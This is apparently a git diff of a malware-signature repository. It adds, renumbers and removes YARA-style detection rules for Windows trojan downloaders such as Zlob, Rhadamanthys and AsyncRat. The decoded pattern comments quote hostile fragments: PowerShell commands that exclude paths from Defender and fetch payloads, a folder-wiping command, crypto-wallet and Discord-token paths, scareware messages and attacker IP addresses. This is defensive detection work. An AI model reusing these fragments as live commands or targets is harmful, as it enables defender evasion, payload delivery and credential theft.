{72 65 67 65 64 69 74 20 2d 73 20 72 65 67 ?? 2e 72 65 67 20 } //1 - $a_02_4 = {52 45 47 20 49 4d 50 4f 52 54 20 72 65 67 ?? 2e 72 65 67 20 } //1 - $a_02_5 = {65 72 61 73 65 20 72 65 67 ?? 2e 72 65 67 20 } //1 - $a_02_6 = {65 72 61 73 65 20 72 65 67 78 ?? 2e 62 61 74 20 } //1 - $a_00_7 = {57 41 52 4e 49 4e 47 3a 20 59 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 69 73 20 69 6e 66 65 63 74 65 64 } //1 WARNING: Your computer is infected - $a_00_8 = {57 69 6e 64 6f 77 73 20 68 61 73 20 64 65 74 65 63 74 65 64 20 73 70 79 77 61 72 65 20 69 6e 66 65 63 74 69 6f 6e 21 } //1 Windows has detected spyware infection! - condition: - ((#a_02_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*5+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=26 - -} -rule TrojanDownloader_Win32_Renos_9{ - meta: - description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " - - strings : - $a_02_0 = {4e 6f 52 65 6d 6f 76 65 20 41 70 70 49 44 ?? ?? ?? ?? ?? ?? ?? ?? 27 25 41 50 50 49 44 25 27 20 3d 20 73 20 27 53 70 79 53 68 72 65 64 64 65 72 27 ?? ?? ?? ?? 27 77 65 62 69 6e 73 74 2e 64 6c 6c 27 } //1 - $a_02_1 = {53 70 79 53 68 72 65 64 64 65 72 2e 57 65 62 49 6e 73 74 61 6c 6c 2e 31 20 3d 20 73 20 27 57 65 62 49 6e 73 74 61 6c 6c 20 43 6c 61 73 73 27 ?? ?? ?? ?? ?? ?? ?? ?? 43 4c 53 49 44 20 3d 20 73 20 27 7b 33 34 33 43 45 32 31 34 2d 39 39 39 38 2d 34 42 32 31 2d 41 31 35 31 2d 46 46 45 39 37 30 31 36 37 32 39 37 7d 27 } //1 - $a_02_2 = {53 70 79 53 68 72 65 64 64 65 72 2e 57 65 62 49 6e 73 74 61 6c 6c 20 3d 20 73 20 27 57 65 62 49 6e 73 74 61 6c 6c 20 43 6c 61 73 73 27 ?? ?? ?? ?? ?? ?? ?? ?? 43 4c 53 49 44 20 3d 20 73 20 27 7b 33 34 33 43 45 32 31 34 2d 39 39 39 38 2d 34 42 32 31 2d 41 31 35 31 2d 46 46 45 39 37 30 31 36 37 32 39 37 7d 27 } //1 - $a_02_3 = {43 75 72 56 65 72 20 3d 20 73 20 27 53 70 79 53 68 72 65 64 64 65 72 2e 57 65 62 49 6e 73 74 61 6c 6c 2e 31 27 ?? ?? ?? ?? ?? ?? ?? 4e 6f 52 65 6d 6f 76 65 20 43 4c 53 49 44 ?? ?? ?? ?? ?? ?? ?? ?? 46 6f 72 63 65 52 65 6d 6f 76 65 20 7b 33 34 33 43 45 32 31 34 2d 39 39 39 38 2d 34 42 32 31 2d 41 31 35 31 2d 46 46 45 39 37 30 31 36 37 32 39 37 7d 20 3d 20 73 20 27 57 65 62 49 6e 73 74 61 6c 6c 20 43 6c 61 73 73 27 } //1 - $a_02_4 = {50 72 6f 67 49 44 20 3d 20 73 20 27 53 70 79 53 68 72 65 64 64 65 72 2e 57 65 62 49 6e 73 74 61 6c 6c 2e 31 27 ?? ?? ?? ?? ?? 56 65 72 73 69 6f 6e 49 6e 64 65 70 65 6e 64 65 6e 74 50 72 6f 67 49 44 20 3d 20 73 20 27 53 70 79 53 68 72 65 64 64 65 72 2e 57 65 62 49 6e 73 74 61 6c 6c 27 } //1 - $a_00_5 = {27 54 79 70 65 4c 69 62 27 20 3d 20 73 20 27 7b 44 32 34 33 36 35 33 33 2d 33 33 46 39 2d 34 39 35 43 2d 39 43 44 39 2d 44 41 46 32 31 45 36 37 46 46 45 42 7d 27 } //1 'TypeLib' = s '{D2436533-33F9-495C-9CD9-DAF21E67FFEB}' - condition: - ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_00_5 & 1)*1) >=6 - -} -rule TrojanDownloader_Win32_Renos_10{ +rule TrojanDownloader_Win32_Renos_5{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0f 00 00 " @@ -166,7 +87,7 @@ rule TrojanDownloader_Win32_Renos_10{ ((#a_00_0 & 1)*1+(#a_00_1 & 1)*2+(#a_00_2 & 1)*3+(#a_00_3 & 1)*3+(#a_00_4 & 1)*1+(#a_00_5 & 1)*2+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_02_8 & 1)*5+(#a_02_9 & 1)*5+(#a_02_10 & 1)*5+(#a_01_11 & 1)*5+(#a_02_12 & 1)*5+(#a_02_13 & 1)*5+(#a_02_14 & 1)*4) >=12 } -rule TrojanDownloader_Win32_Renos_11{ +rule TrojanDownloader_Win32_Renos_6{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR,08 00 08 00 05 00 00 " @@ -180,7 +101,7 @@ rule TrojanDownloader_Win32_Renos_11{ ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=8 } -rule TrojanDownloader_Win32_Renos_12{ +rule TrojanDownloader_Win32_Renos_7{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR,08 00 08 00 05 00 00 " @@ -194,7 +115,7 @@ rule TrojanDownloader_Win32_Renos_12{ ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=8 } -rule TrojanDownloader_Win32_Renos_13{ +rule TrojanDownloader_Win32_Renos_8{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR,19 00 19 00 07 00 00 " @@ -210,7 +131,7 @@ rule TrojanDownloader_Win32_Renos_13{ ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=25 } -rule TrojanDownloader_Win32_Renos_14{ +rule TrojanDownloader_Win32_Renos_9{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR,2b 00 2b 00 07 00 00 " @@ -226,7 +147,7 @@ rule TrojanDownloader_Win32_Renos_14{ ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=43 } -rule TrojanDownloader_Win32_Renos_15{ +rule TrojanDownloader_Win32_Renos_10{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR,ffffffd0 00 ffffffd0 00 0f 00 00 " @@ -250,7 +171,7 @@ rule TrojanDownloader_Win32_Renos_15{ ((#a_01_0 & 1)*100+(#a_01_1 & 1)*100+(#a_01_2 & 1)*3+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1) >=208 } -rule TrojanDownloader_Win32_Renos_16{ +rule TrojanDownloader_Win32_Renos_11{ meta: description = "TrojanDownloader:Win32/Renos,SIGNATURE_TYPE_PEHSTR,19 00 14 00 2c 00 00 " diff --git a/TrojanDownloader/Win32/Rhadamanthys/TrojanDownloader_Win32_Rhadamanthys_BB_MTB.yar b/TrojanDownloader/Win32/Rhadamanthys/TrojanDownloader_Win32_Rhadamanthys_BB_MTB.yar deleted file mode 100644 index cc1033e306..0000000000 --- a/TrojanDownloader/Win32/Rhadamanthys/TrojanDownloader_Win32_Rhadamanthys_BB_MTB.yar +++ /dev/null @@ -1,28 +0,0 @@ - -rule TrojanDownloader_Win32_Rhadamanthys_BB_MTB{ - meta: - description = "TrojanDownloader:Win32/Rhadamanthys.BB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 00 " - - strings : - $a_80_0 = {74 65 78 74 62 69 6e 2e 6e 65 74 2f 72 61 77 2f } //textbin.net/raw/ 10 - $a_01_1 = {69 00 70 00 2d 00 61 00 70 00 69 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 69 00 6e 00 65 00 2f 00 3f 00 66 00 69 00 65 00 6c 00 64 00 73 00 3d 00 68 00 6f 00 73 00 74 00 69 00 6e 00 67 00 } //10 ip-api.com/line/?fields=hosting - $a_02_2 = {68 74 74 70 [0-01] 3a 2f 2f 74 2e 6d 65 2f } //10 - $a_00_3 = {2f 63 20 74 69 6d 65 6f 75 74 20 2f 74 20 31 30 20 26 20 72 64 20 2f 73 20 2f 71 20 22 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c } //2 /c timeout /t 10 & rd /s /q "C:\ProgramData\ - $a_01_4 = {5c 4d 6f 6e 65 72 6f 5c 77 61 6c 6c 65 74 2e 6b 65 79 73 } //2 \Monero\wallet.keys - $a_01_5 = {5c 42 72 61 76 65 57 61 6c 6c 65 74 5c 50 72 65 66 65 72 65 6e 63 65 73 } //2 \BraveWallet\Preferences - $a_01_6 = {5c 44 69 73 63 6f 72 64 5c 74 6f 6b 65 6e 73 2e 74 78 74 } //2 \Discord\tokens.txt - $a_81_7 = {61 70 69 5f 6c 6f 67 } //1 api_log - $a_81_8 = {64 69 72 5f 77 61 74 63 68 } //1 dir_watch - $a_81_9 = {76 6d 63 68 65 63 6b } //1 vmcheck - $a_81_10 = {73 6e 78 68 6b } //1 snxhk - $a_81_11 = {61 76 67 68 6f 6f 6b 78 } //1 avghookx - $a_81_12 = {61 76 67 68 6f 6f 6b 61 } //1 avghooka - $a_81_13 = {64 62 67 68 65 6c 70 } //1 dbghelp - $a_81_14 = {70 73 74 6f 72 65 63 } //1 pstorec - $a_81_15 = {63 6d 64 76 72 74 36 34 } //1 cmdvrt64 - $a_81_16 = {63 6d 64 76 72 74 33 32 } //1 cmdvrt32 - $a_81_17 = {77 70 65 73 70 79 } //1 wpespy - condition: - ((#a_80_0 & 1)*10+(#a_01_1 & 1)*10+(#a_02_2 & 1)*10+(#a_00_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1) >=18 - -} \ No newline at end of file diff --git a/TrojanDownloader/Win32/Rugmi/TrojanDownloader_Win32_Rugmi_PAGN_MTB.yar b/TrojanDownloader/Win32/Rugmi/TrojanDownloader_Win32_Rugmi_PAGN_MTB.yar new file mode 100644 index 0000000000..1db824d2e9 --- /dev/null +++ b/TrojanDownloader/Win32/Rugmi/TrojanDownloader_Win32_Rugmi_PAGN_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_Win32_Rugmi_PAGN_MTB{ + meta: + description = "TrojanDownloader:Win32/Rugmi.PAGN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {66 69 76 65 6d 20 69 6e 6a 65 63 74 6f 72 } //2 fivem injector + $a_01_1 = {6d 6f 64 65 20 63 6f 6e 3a 20 63 6f 6c 73 3d 33 30 20 6c 69 6e 65 73 3d 31 30 } //2 mode con: cols=30 lines=10 + $a_01_2 = {6c 6f 61 64 65 72 2e 70 64 62 } //1 loader.pdb + $a_01_3 = {55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 57 } //1 URLDownloadToFileW + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win32/SmokeLoader/TrojanDownloader_Win32_SmokeLoader_Z_MTB.yar b/TrojanDownloader/Win32/SmokeLoader/TrojanDownloader_Win32_SmokeLoader_Z_MTB.yar new file mode 100644 index 0000000000..0b244cfde0 --- /dev/null +++ b/TrojanDownloader/Win32/SmokeLoader/TrojanDownloader_Win32_SmokeLoader_Z_MTB.yar @@ -0,0 +1,12 @@ + +rule TrojanDownloader_Win32_SmokeLoader_Z_MTB{ + meta: + description = "TrojanDownloader:Win32/SmokeLoader.Z!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {b8 18 00 00 00 6b c8 00 8b 54 0d dc 83 c2 30 b8 01 00 00 00 6b c8 11 8b 45 08 88 14 08 } //1 + $a_01_1 = {68 b8 33 41 00 ff 15 30 30 41 00 89 45 fc } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win32/Ulise/TrojanDownloader_Win32_Ulise_AUL_MTB.yar b/TrojanDownloader/Win32/Ulise/TrojanDownloader_Win32_Ulise_AUL_MTB.yar new file mode 100644 index 0000000000..d9fac994f4 --- /dev/null +++ b/TrojanDownloader/Win32/Ulise/TrojanDownloader_Win32_Ulise_AUL_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanDownloader_Win32_Ulise_AUL_MTB{ + meta: + description = "TrojanDownloader:Win32/Ulise.AUL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {33 d2 8b c1 be e8 03 00 00 f7 f6 69 d2 e8 03 00 00 89 45 f8 89 55 fc 33 f6 46 41 f7 d9 1b c9 8d 45 f8 23 c8 51 6a 00 6a 00 8d 85 f4 fe ff ff 50 6a 00 89 b5 f4 fe ff ff 89 bd f8 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win32/Zlob/TrojanDownloader_Win32_Zlob.yar b/TrojanDownloader/Win32/Zlob/TrojanDownloader_Win32_Zlob.yar index 20cc0d795f..4bd12a3345 100644 --- a/TrojanDownloader/Win32/Zlob/TrojanDownloader_Win32_Zlob.yar +++ b/TrojanDownloader/Win32/Zlob/TrojanDownloader_Win32_Zlob.yar @@ -3,6 +3,18 @@ rule TrojanDownloader_Win32_Zlob{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + strings : + $a_01_0 = {6c 64 72 49 6e 73 75 72 61 6e 63 65 45 76 65 6e 74 45 78 00 } //1 摬䥲獮牵湡散癅湥䕴x + $a_01_1 = {4c 6f 61 64 65 72 53 74 61 72 74 65 64 5f 25 58 00 } //1 + $a_00_2 = {2f 70 68 70 2f 6c 6f 61 64 65 72 33 2f 64 6f 77 6e 6c 6f 61 64 2e 70 68 70 } //1 /php/loader3/download.php + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} +rule TrojanDownloader_Win32_Zlob_2{ + meta: + description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + strings : $a_01_0 = {49 45 53 50 6c 75 67 69 6e } //1 IESPlugin $a_01_1 = {54 6f 6f 6c 62 61 72 57 69 6e 64 6f 77 33 32 } //1 ToolbarWindow32 @@ -11,7 +23,7 @@ rule TrojanDownloader_Win32_Zlob{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule TrojanDownloader_Win32_Zlob_2{ +rule TrojanDownloader_Win32_Zlob_3{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " @@ -25,7 +37,7 @@ rule TrojanDownloader_Win32_Zlob_2{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 } -rule TrojanDownloader_Win32_Zlob_3{ +rule TrojanDownloader_Win32_Zlob_4{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " @@ -37,7 +49,7 @@ rule TrojanDownloader_Win32_Zlob_3{ ((#a_02_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 } -rule TrojanDownloader_Win32_Zlob_4{ +rule TrojanDownloader_Win32_Zlob_5{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,63 02 63 02 0a 00 00 " @@ -56,7 +68,7 @@ rule TrojanDownloader_Win32_Zlob_4{ ((#a_01_0 & 1)*100+(#a_00_1 & 1)*100+(#a_01_2 & 1)*100+(#a_00_3 & 1)*100+(#a_01_4 & 1)*100+(#a_01_5 & 1)*100+(#a_02_6 & 1)*10+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=611 } -rule TrojanDownloader_Win32_Zlob_5{ +rule TrojanDownloader_Win32_Zlob_6{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,63 02 63 02 0b 00 00 " @@ -76,7 +88,7 @@ rule TrojanDownloader_Win32_Zlob_5{ ((#a_01_0 & 1)*100+(#a_00_1 & 1)*100+(#a_01_2 & 1)*100+(#a_00_3 & 1)*100+(#a_01_4 & 1)*100+(#a_01_5 & 1)*100+(#a_01_6 & 1)*10+(#a_00_7 & 1)*10+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=611 } -rule TrojanDownloader_Win32_Zlob_6{ +rule TrojanDownloader_Win32_Zlob_7{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,06 00 05 00 05 00 00 " @@ -90,7 +102,7 @@ rule TrojanDownloader_Win32_Zlob_6{ ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*2+(#a_02_4 & 1)*1) >=5 } -rule TrojanDownloader_Win32_Zlob_7{ +rule TrojanDownloader_Win32_Zlob_8{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,ffffff97 00 ffffff97 00 08 00 00 " @@ -107,7 +119,7 @@ rule TrojanDownloader_Win32_Zlob_7{ ((#a_02_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_01_7 & 1)*100) >=151 } -rule TrojanDownloader_Win32_Zlob_8{ +rule TrojanDownloader_Win32_Zlob_9{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,22 00 22 00 08 00 00 " @@ -124,7 +136,24 @@ rule TrojanDownloader_Win32_Zlob_8{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_00_7 & 1)*10) >=34 } -rule TrojanDownloader_Win32_Zlob_9{ +rule TrojanDownloader_Win32_Zlob_10{ + meta: + description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,24 00 24 00 08 00 00 " + + strings : + $a_01_0 = {49 6e 74 65 72 6e 65 74 52 65 61 64 46 69 6c 65 } //10 InternetReadFile + $a_01_1 = {4f 70 65 6e 45 76 65 6e 74 57 } //10 OpenEventW + $a_01_2 = {4e 65 74 62 69 6f 73 } //10 Netbios + $a_02_3 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 74 00 68 00 65 00 6e 00 (6d 00 6e 00|) 65 00 74 00 77 00 6f 00 72 00 6b 00 90 03 06 00 63 00 6f 00 6d 00 2e 00 63 00 6f 00 6d 00 2f 00 64 00 77 00 2e 00 70 00 68 00 70 00 } //3 + $a_01_4 = {3f 00 63 00 6f 00 64 00 65 00 3d 00 30 00 30 00 2d 00 30 00 30 00 2d 00 30 00 30 00 2d 00 30 00 30 00 2d 00 30 00 30 00 2d 00 30 00 30 00 26 00 68 00 61 00 73 00 68 00 3d 00 } //2 ?code=00-00-00-00-00-00&hash= + $a_01_5 = {62 00 78 00 31 00 38 00 64 00 78 00 76 00 2e 00 64 00 61 00 74 00 } //1 bx18dxv.dat + $a_01_6 = {62 78 31 38 64 78 76 2e 64 61 74 } //1 bx18dxv.dat + $a_01_7 = {4d 00 79 00 42 00 49 00 54 00 53 00 54 00 72 00 61 00 6e 00 73 00 5f 00 6e 00 65 00 77 00 } //2 MyBITSTrans_new + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_02_3 & 1)*3+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*2) >=36 + +} +rule TrojanDownloader_Win32_Zlob_11{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,ffffff8a 02 ffffff80 02 0d 00 00 " @@ -146,7 +175,7 @@ rule TrojanDownloader_Win32_Zlob_9{ ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_01_2 & 1)*100+(#a_01_3 & 1)*100+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*20+(#a_01_7 & 1)*20+(#a_00_8 & 1)*20+(#a_00_9 & 1)*10+(#a_02_10 & 1)*10+(#a_02_11 & 1)*100+(#a_00_12 & 1)*100) >=640 } -rule TrojanDownloader_Win32_Zlob_10{ +rule TrojanDownloader_Win32_Zlob_12{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,2e 00 2e 00 07 00 00 " @@ -162,7 +191,7 @@ rule TrojanDownloader_Win32_Zlob_10{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*5) >=46 } -rule TrojanDownloader_Win32_Zlob_11{ +rule TrojanDownloader_Win32_Zlob_13{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,56 00 56 00 16 00 00 " @@ -193,7 +222,7 @@ rule TrojanDownloader_Win32_Zlob_11{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*50+(#a_01_18 & 1)*10+(#a_01_19 & 1)*10+(#a_01_20 & 1)*10+(#a_01_21 & 1)*5) >=86 } -rule TrojanDownloader_Win32_Zlob_12{ +rule TrojanDownloader_Win32_Zlob_14{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR_EXT,5b 00 5b 00 16 00 00 " @@ -224,7 +253,7 @@ rule TrojanDownloader_Win32_Zlob_12{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*50+(#a_01_18 & 1)*10+(#a_01_19 & 1)*10+(#a_01_20 & 1)*10+(#a_01_21 & 1)*10) >=91 } -rule TrojanDownloader_Win32_Zlob_13{ +rule TrojanDownloader_Win32_Zlob_15{ meta: description = "TrojanDownloader:Win32/Zlob,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " diff --git a/TrojanDownloader/Win64/AsyncRat/TrojanDownloader_Win64_AsyncRat_CCJX_MTB.yar b/TrojanDownloader/Win64/AsyncRat/TrojanDownloader_Win64_AsyncRat_CCJX_MTB.yar new file mode 100644 index 0000000000..33e950a76f --- /dev/null +++ b/TrojanDownloader/Win64/AsyncRat/TrojanDownloader_Win64_AsyncRat_CCJX_MTB.yar @@ -0,0 +1,18 @@ + +rule TrojanDownloader_Win64_AsyncRat_CCJX_MTB{ + meta: + description = "TrojanDownloader:Win64/AsyncRat.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 08 00 00 " + + strings : + $a_01_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //2 powershell.exe + $a_01_1 = {2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 } //2 -Command "Add-MpPreference -ExclusionPath + $a_01_2 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //2 Start-Process + $a_01_3 = {2d 00 4f 00 75 00 74 00 46 00 69 00 6c 00 65 00 } //2 -OutFile + $a_01_4 = {2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 55 00 72 00 69 00 } //2 -Command "Invoke-WebRequest -Uri + $a_03_5 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 38 00 35 00 2e 00 33 00 39 00 2e 00 31 00 37 00 2e 00 37 00 30 00 2f 00 [0-0f] 2f 00 [0-0f] 2e 00 65 00 78 00 65 00 } //1 + $a_03_6 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 37 00 37 00 2e 00 32 00 32 00 33 00 2e 00 31 00 31 00 39 00 2e 00 38 00 35 00 2f 00 [0-0f] 2f 00 [0-0f] 2e 00 65 00 78 00 65 00 } //1 + $a_03_7 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 38 00 30 00 2e 00 36 00 34 00 2e 00 31 00 38 00 2e 00 31 00 37 00 33 00 2f 00 [0-0f] 2f 00 [0-0f] 2e 00 65 00 78 00 65 00 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/TrojanDownloader/Win64/LummaC/TrojanDownloader_Win64_LummaC_CCJR_MTB.yar b/TrojanDownloader/Win64/LummaC/TrojanDownloader_Win64_LummaC_CCJR_MTB.yar index f8591e0b11..1216bca6fb 100644 --- a/TrojanDownloader/Win64/LummaC/TrojanDownloader_Win64_LummaC_CCJR_MTB.yar +++ b/TrojanDownloader/Win64/LummaC/TrojanDownloader_Win64_LummaC_CCJR_MTB.yar @@ -1,13 +1,14 @@ rule TrojanDownloader_Win64_LummaC_CCJR_MTB{ meta: - description = "TrojanDownloader:Win64/LummaC.CCJR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + description = "TrojanDownloader:Win64/LummaC.CCJR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " strings : $a_01_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 } //1 powershell -Command "Add-MpPreference -ExclusionPath $a_01_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 55 00 72 00 69 00 } //1 powershell -Command "Invoke-WebRequest -Uri $a_01_2 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 67 00 69 00 74 00 68 00 75 00 62 